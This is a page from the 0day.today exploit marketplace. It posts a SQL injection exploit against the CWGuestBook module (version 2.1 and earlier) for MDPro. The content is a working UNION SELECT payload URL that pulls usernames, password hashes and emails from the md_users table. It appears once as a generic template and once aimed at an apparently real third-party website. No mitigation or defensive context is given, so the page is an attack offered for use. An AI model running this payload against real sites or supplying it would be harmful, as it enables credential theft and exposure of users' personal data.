[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

MDPro Module CWGuestBook <= 2.1 Remote SQL Injection Vulnerability

Author
Dante90
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-5442
Category
web applications
Date add
29-06-2009
Platform
unsorted
==================================================================
MDPro Module CWGuestBook <= 2.1 Remote SQL Injection Vulnerability
==================================================================


######################################################################################
#                                                                                    #
# Author: Dante90, WaRWolFz Crew                                                     #
# Title: [0-Day] MDPRO CWGuestBook <= v2.1 Mod Remote SQL Injection By Dante         #
#                                                                                    #
######################################################################################

[0-Day] MDPRO CWGuestBook <= v2.1 Mod Remote SQL Injection By Dante90

[code]
http://www.victime_site.org/modules.php?op=modload&name=CWGuestBook&file=index&req=viewrecords&rid=-14 UNION SELECT 1,pn_uname,pn_pass,pn_email,5,pn_uid,7,8,9 FROM md_users WHERE pn_uid=2--
[/code]

Example:
[code]
http://www.lacinium.com/modules.php?op=modload&name=CWGuestBook&file=index&req=viewrecords&rid=-14 UNION SELECT 1,pn_uname,pn_pass,pn_email,5,pn_uid,7,8,9 FROM md_users WHERE pn_uid=2--
[/code]



#  0day.today [2024-12-25]  #